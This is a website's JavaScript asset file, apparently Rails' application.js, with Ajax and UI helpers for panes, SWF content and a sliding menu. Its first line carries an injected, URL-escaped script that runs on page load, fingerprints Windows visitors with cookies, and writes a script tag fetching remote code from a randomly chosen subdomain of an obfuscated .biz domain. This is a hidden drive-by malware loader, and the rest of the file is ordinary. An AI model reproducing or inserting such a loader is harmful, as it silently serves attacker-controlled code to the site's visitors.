var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%61%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%70%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%70%22%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%76%61%72%20%62%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%2C%63%3D%22%20%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2C%64%3D%6E%75%6C%6C%2C%65%3D%30%2C%66%3D%30%3B%69%66%28%63%2E%6C%65%6E%67%74%68%3E%30%29%7B%65%3D%63%2E%69%6E%64%65%78%4F%66%28%22%20%68%6F%70%3D%22%29%3B%69%66%28%65%21%3D%2D%31%29%7B%65%2B%3D%35%3B%66%3D%63%2E%69%6E%64%65%78%4F%66%28%22%3B%22%2C%65%29%3B%69%66%28%66%3D%3D%2D%31%29%66%3D%63%2E%6C%65%6E%67%74%68%3B%64%3D%75%6E%65%73%63%61%70%65%28%63%2E%73%75%62%73%74%72%69%6E%67%28%65%2C%66%29%29%7D%7D%20%69%66%28%64%3D%3D%22%68%6F%70%22%26%26%62%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%26%26%61%2E%69%6E%64%65%78%4F%66%28%22%68%69%70%22%29%3D%3D%2D%31%29%7B%76%61%72%20%67%3D%5B%22%6B%65%67%22%2C%22%6B%65%69%22%2C%22%6B%65%6E%22%2C%22%6B%65%70%22%2C%22%6B%65%76%22%2C%22%6B%65%78%22%2C%22%6B%65%79%22%2C%22%6B%68%69%22%2C%22%6B%69%64%22%2C%22%6B%69%66%22%5D%2C%68%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%67%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%38%45%37%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%69%70%3D%22%2B%65%73%63%61%70%65%28%22%68%69%70%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%67%5B%68%5D%2B%27%2E%5C%78%36%33%5C%78%37%32%5C%78%36%66%5C%78%36%33%5C%78%37%32%5C%78%36%66%5C%78%32%65%5C%78%36%32%5C%78%36%39%5C%78%37%61%2F%74%6F%6F%6C%73%2F%6A%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;// Place your application-specific JavaScript functions and classes here
// This file is automatically included by javascript_include_tag :defaults

	function show_piece_pane(i, lang) {
		new Ajax.Updater('my_second_inner_div', '/' + lang + '/pieces/view_info/' + i + '?free=1');
                document.getElementById('my_second_inner_div').style.display = 'block';
	}

	function show_piece(i, lang) {
		remove_class();
                document.getElementById('my_second_inner_div').style.display = 'none';
		new Ajax.Updater('swf_content', '/' + lang + '/pieces/view_swf/' + i + '?free=1');
                if (document.getElementById('black_btn')) {
			new Ajax.Updater('black_btn', '/' + lang + '/pieces/view_black/' + i + '?free=1');
			document.getElementById('black_btn').style.display = '';
		}
	}

	function remove_class() {
		for(j = 1; j < 5; j++) {
			Element.removeClassName('link_' + j, 'hit');
		}
	}

	function show_pane(i, lang) {
		remove_class();
		Element.addClassName('link_' + i, 'hit');
		new Ajax.Updater('swf_content', '/' + lang + '/pages/view_swf/' + i + '?free=1');
		new Ajax.Updater('my_second_inner_div', '/' + lang + '/pages/view/' + i + '?free=1');
                document.getElementById('my_second_inner_div').style.display = 'block';
                if (document.getElementById('black_btn'))
			document.getElementById('black_btn').style.display = 'none';
	}

	function hide_pane() {
                document.getElementById('my_second_inner_div').style.display = 'none';
                document.getElementById('my_second_inner_div').innerHTML = '';
		remove_class();
	}

	function hide_pane_main() {
	move_left();
	}

	_expanded = false;
	_old_content = '';
                        function move_right() {
                                if (_expanded)
                                        return;
                                o = document.getElementById('my_div');
                                for(i = 40; i < 213; i += 10) {
                                        o.style.width = (i + "px");
                                }
                                document.getElementById('my_inner_div').style.display = 'block';
				if (_old_content != '') {
					document.getElementById('my_inner_div').innerHTML = _old_content;
				}
                                setTimeout("reset_collapsed();", 500);
                        }
			function move_load() {
                        	_expanded = false;
				if(navigator.userAgent.indexOf("Safari")!=-1){
				$('my_div').style.top = '99px';
				}
				if(navigator.userAgent.indexOf("Firefox")!=-1){
				$('my_div').style.top = '99px';
				}
			}

function addLoadEvent(func) {
  var oldonload = window.onload;
  if (typeof(oldonload) != 'function') {
    window.onload = func;
  } else {
    window.onload = function() {
      oldonload();
      func();
    }
  }
}

//addLoadEvent(move_load);
                        function move_left() {
                                if (!_expanded)
                                        return;
                                o = document.getElementById('my_div');
                                for(i = 213; i > 32 ; i -= 1) {
                                        o.style.width = (i + "px");
                                }
				_old_content = document.getElementById('my_inner_div').innerHTML;
				document.getElementById('my_inner_div').innerHTML = '';
                                document.getElementById('my_inner_div').style.display = 'none';
                                setTimeout("reset_expanded();", 500);
                        }
                        function reset_expanded() {
                                _expanded = false;
                        }
                        function reset_collapsed() {
                                _expanded = true;
                        }